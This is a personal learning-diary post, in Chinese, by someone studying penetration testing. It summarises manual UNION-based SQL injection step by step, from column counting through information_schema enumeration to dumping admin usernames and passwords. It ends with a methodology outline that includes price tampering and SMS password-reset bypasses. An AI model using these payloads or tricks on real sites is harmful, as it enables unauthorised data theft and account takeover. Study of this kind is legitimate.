我是一名前端工程师,想要转行渗透测试,以写日记的形式记录每天学习结果,逐步完善渗透测试整个体系。
看到一篇帖子 https://bbs.zkaq.cn/t/31299.html 是说 sql 注入漏洞的,步骤很固定,总结下原理。
id=1 and 1=1 页面显示正常
id=1 and 1=2 页面显示不正常,没查到数据
说明拼接的参数被当做代码执行了,存在 sql 注入。
有两种方式:
id=1 order by 3 页面输出正常;
id=1 order by 4 页面输出异常。
说明表只有 3 个字段。
id=1 and 1=2 union all select 1,2,3 可以看到页面上原先显示文字的地方这会变成数字了。比如原先显示文字的地方这会变成数字3了,3就是一个回显点,用于显示其它查询结果。
id=1 后面跟了 and 1=2,作用是保证前面表格查的数据是0条,最终显示的数据都是后面表格的数据。
拼接 id=1 and 1=2 union all select 1,2,database()
在回显点3处可以看到库名。
查表名原理:
mysql 数据库有一个系统库叫做 information_schema 库,里面有一些系统表,比较常用的是 tables 表(记录 mysql 库中所有的表信息,索引值是库名)和 columns 表(记录 mysql 库中所有字段信息,索引值是库名和表名)。
前面已经知道了库名,那么在 information_schema.tables 表中就可以通过库名查到表名了。
拼接 id=1 and 1=2 union all select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 就可以拿到表名了。
拼接语句最后面的 limit 0,1 表示分页查询第一张表名,如果不加这句代码,查出来的是最后一张表名。
比如上面查到的表名是 admin,可以继续拼接查询字段名称。
拼接 id=1 and 1=2 union all select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=”admin” limit 0,1 得到第一个字段名。
改变 limit 参数值,可以依次查询出所有字段名称。
库名知道了,表名知道了,表字段名也知道了,就很容易拿到表数据了。比如上面查到的字段名为 id, username, password
拼接 id=1 and 1=2 union all select id, username, password from admin limit 0,1
改变 limit 参数值,可以依次查询出表中所有数据。
更新体系树
|-- 信息收集
|-- 目录扫描
|-- dirsearch
|-- 指纹识别
|-- whatruns, wappalyzer
|-- 谷歌搜索
|-- inurl, intext, filetype
|-- 旁站搜索
|-- 网络空间搜索引擎: FOFA、Shodan、ZoomEye、Quake
|-- 越权漏洞
|-- 收获地址, 优惠券, 个人信息等
|-- 支付漏洞
|-- 支付时抓包修改价格再发请求
|-- 逻辑漏洞
|-- 重置密码发短信直接抓包把号码改成自己的
|-- 重置密码发短信后端可能会接收多个手机号
|-- 短信验证码会在接口响应里直接返回验证码
|-- 注入漏洞
↶ 返回首页 ↶